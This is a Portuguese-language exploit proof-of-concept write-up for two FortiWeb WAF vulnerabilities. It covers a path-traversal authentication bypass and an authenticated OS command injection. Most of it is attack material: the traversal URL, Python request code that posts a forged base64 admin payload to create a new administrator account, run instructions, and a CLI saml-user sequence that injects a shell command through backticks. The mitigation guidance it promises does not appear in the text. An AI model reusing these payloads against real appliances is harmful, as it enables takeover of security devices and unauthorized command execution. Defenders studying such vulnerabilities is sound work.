
Exploit PoC para CVEs do FortiWeb: bypass de autenticação via path traversal e injeção autenticada de comandos do SO. Inclui análise detalhada, payloads e orientações de mitigação para testes de segurança.
FortiWeb é um dispositivo de Firewall de Aplicação Web (WAF) usado para proteger aplicações web.
Em 2025, duas vulnerabilidades críticas foram descobertas:
| Item | Conteúdo |
|---|---|
| Tipo de vulnerabilidade | Relative Path Traversal Bypass de autenticação |
| Causa | FortiWeb processa caminhos de forma incorreta antes da autenticação: - Controle de acesso baseado em string de caminho lógico - Não normaliza o caminho completo - Permite o uso de ../ para acessar recursos internos |
| Descrição | Alguns endpoints administrativos podem ser acessados sem autenticação válida |
| Impacto | - Bypass total de autenticação - Acesso não autorizado a funções de administrador - Quebra do modelo de permissões |
| Versões afetadas | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Exemplo:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Isso ajuda a evitar conflitos de versão de bibliotecas, garantir a estabilidade do ambiente de trabalho e limitar o impacto no sistema

Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Execute a ferramenta com Python3:
python3 exploit.py <IP_target>
<IP_target>: O endereço IP aqui é o nome do host do dispositivo FortiWeb.
Obtém-se username e password -> realiza login

Exploração bem-sucedida e criada uma nova conta com privilégios de admin.
Após fazer login com sucesso usando a nova conta de administrador criada, o atacante pode explorar a vulnerabilidade de injeção de comandos autenticada através de requisições especialmente criadas ou diretamente através da interface de linha de comando do FortiWeb CLI:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
O FortiWeb sairá da string de configuração e executará o comando id durante o processo de configuração do saml-user.
| Item | Conteúdo |
|---|
| Tipo de vulnerabilidade | OS Command Injection (CWE-78) |
| Causa | FortiWeb processa entrada de forma insegura ao executar comandos do sistema: - Sem validação de entrada - Falta de escape de caracteres especiais - Transmissão direta de dados do usuário para comandos do sistema |
| Descrição | Vulnerabilidade que requer autenticação mas permite injeção de comandos do sistema |
| Impacto | - Execução não intencional de comandos - Acesso a recursos do sistema - Comprometimento da integridade e disponibilidade |
| Versões afetadas | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |